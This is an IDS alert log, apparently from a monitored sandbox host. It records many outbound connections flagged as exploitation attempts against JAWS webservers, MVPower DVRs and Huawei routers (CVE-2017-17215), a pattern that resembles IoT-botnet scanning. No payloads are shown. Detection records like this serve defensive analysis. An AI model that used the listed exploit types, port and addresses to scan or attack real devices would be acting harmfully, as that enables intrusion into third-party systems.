Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45958 -> 146.155.139.101:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54808 -> 118.249.69.78:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52274 -> 106.72.36.51:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49570 -> 42.187.49.118:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49860 -> 145.13.166.240:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50036 -> 99.223.38.236:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43072 -> 107.118.12.96:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38226 -> 156.33.185.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35692 -> 211.152.213.185:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55520 -> 118.167.64.175:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44968 -> 176.78.160.138:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33688 -> 41.108.232.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38306 -> 87.233.87.119:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42682 -> 13.15.216.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53534 -> 219.191.228.10:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50940 -> 76.115.82.134:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44588 -> 176.104.168.239:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49912 -> 116.128.48.224:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59202 -> 104.134.7.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35516 -> 209.98.115.136:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35078 -> 157.151.151.63:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41746 -> 80.152.111.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41472 -> 213.46.243.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38122 -> 149.39.112.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39258 -> 108.12.66.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39030 -> 217.30.58.227:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32974 -> 190.157.211.94:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43640 -> 123.15.159.153:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37588 -> 212.34.153.120:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52486 -> 173.159.67.38:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44574 -> 168.235.31.17:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37034 -> 194.244.242.70:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54410 -> 147.89.17.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60472 -> 49.81.200.207:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36480 -> 137.234.162.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58546 -> 57.54.162.72:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41606 -> 24.179.173.118:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47054 -> 213.99.204.125:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55740 -> 50.27.20.241:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55982 -> 124.0.139.31:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60810 -> 99.170.206.200:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49524 -> 133.130.243.96:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46164 -> 81.66.87.121:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46754 -> 52.191.152.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36208 -> 147.135.44.218:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58026 -> 59.172.71.185:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43196 -> 60.224.142.1:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32936 -> 189.82.218.132:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53032 -> 53.223.178.64:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59368 -> 45.9.82.52:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39940 -> 69.42.202.171:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35140 -> 24.72.9.82:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56774 -> 145.92.78.73:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40456 -> 132.66.64.38:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33194 -> 222.37.4.5:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37350 -> 66.47.79.133:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33318 -> 67.147.165.34:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53466 -> 95.127.175.227:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48614 -> 179.122.233.207:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44888 -> 161.43.121.185:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53154 -> 206.73.46.114:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50474 -> 39.24.219.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48212 -> 85.238.207.251:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44378 -> 32.62.55.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47694 -> 134.80.188.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45190 -> 42.11.130.136:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41362 -> 41.189.31.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50710 -> 198.203.182.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48026 -> 124.204.6.25:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45958 -> 146.155.139.101:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54808 -> 118.249.69.78:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52274 -> 106.72.36.51:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49860 -> 145.13.166.240:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50036 -> 99.223.38.236:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43072 -> 107.118.12.96:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38226 -> 156.33.185.72:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35692 -> 211.152.213.185:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55520 -> 118.167.64.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44968 -> 176.78.160.138:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33688 -> 41.108.232.85:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38306 -> 87.233.87.119:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42682 -> 13.15.216.154:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53534 -> 219.191.228.10:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50940 -> 76.115.82.134:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44588 -> 176.104.168.239:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49912 -> 116.128.48.224:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59202 -> 104.134.7.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35516 -> 209.98.115.136:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35078 -> 157.151.151.63:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41746 -> 80.152.111.154:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41472 -> 213.46.243.209:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38122 -> 149.39.112.106:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39258 -> 108.12.66.222:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39030 -> 217.30.58.227:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32974 -> 190.157.211.94:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43640 -> 123.15.159.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37588 -> 212.34.153.120:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52486 -> 173.159.67.38:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48658 -> 41.164.227.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48658 -> 41.164.227.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37366 -> 156.33.225.228:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37366 -> 156.33.225.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38612 -> 41.193.154.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38612 -> 41.193.154.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45328 -> 156.193.10.45:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45328 -> 156.193.10.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36386 -> 41.249.106.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36386 -> 41.249.106.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40714 -> 197.215.123.203:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40714 -> 197.215.123.203:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56050 -> 156.198.133.179:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56050 -> 156.198.133.179:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52998 -> 156.85.186.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52998 -> 156.85.186.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45586 -> 41.144.64.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45586 -> 41.144.64.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38836 -> 156.141.233.124:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38836 -> 156.141.233.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43196 -> 41.64.231.154:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43196 -> 41.64.231.154:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55452 -> 41.61.54.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55452 -> 41.61.54.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40380 -> 41.29.240.127:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40380 -> 41.29.240.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57566 -> 41.179.71.43:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57566 -> 41.179.71.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35770 -> 197.81.225.105:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35770 -> 197.81.225.105:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53694 -> 41.23.36.64:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53694 -> 41.23.36.64:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33272 -> 41.104.188.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33272 -> 41.104.188.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35612 -> 41.125.186.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35612 -> 41.125.186.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51176 -> 41.144.59.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51176 -> 41.144.59.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51288 -> 156.122.101.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51288 -> 156.122.101.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53482 -> 41.13.150.2:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53482 -> 41.13.150.2:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54532 -> 197.159.210.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54532 -> 197.159.210.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36204 -> 41.37.220.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36204 -> 41.37.220.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49194 -> 156.227.20.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49194 -> 156.227.20.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41014 -> 156.167.5.201:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41014 -> 156.167.5.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48832 -> 156.198.87.202:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48832 -> 156.198.87.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52362 -> 156.45.224.43:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52362 -> 156.45.224.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41586 -> 197.22.210.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41586 -> 197.22.210.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59700 -> 41.139.183.232:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59700 -> 41.139.183.232:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53196 -> 156.58.214.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53196 -> 156.58.214.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49906 -> 156.113.109.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49906 -> 156.113.109.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45594 -> 156.9.236.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45594 -> 156.9.236.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49600 -> 197.171.180.102:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49600 -> 197.171.180.102:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41724 -> 41.87.170.8:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41724 -> 41.87.170.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35458 -> 41.53.249.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35458 -> 41.53.249.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47716 -> 197.148.143.218:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47716 -> 197.148.143.218:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57592 -> 156.94.219.6:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57592 -> 156.94.219.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55648 -> 197.218.44.219:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55648 -> 197.218.44.219:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53806 -> 197.239.209.224:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53806 -> 197.239.209.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45532 -> 41.232.72.207:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45532 -> 41.232.72.207:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39892 -> 197.176.79.105:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39892 -> 197.176.79.105:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44394 -> 41.24.85.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44394 -> 41.24.85.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60494 -> 156.68.148.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60494 -> 156.68.148.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55216 -> 156.37.13.98:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55216 -> 156.37.13.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54402 -> 41.152.169.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54402 -> 41.152.169.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55144 -> 41.61.6.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55144 -> 41.61.6.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51976 -> 41.137.161.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51976 -> 41.137.161.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41296 -> 197.189.238.220:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41296 -> 197.189.238.220:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58966 -> 156.212.207.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58966 -> 156.212.207.12:37215
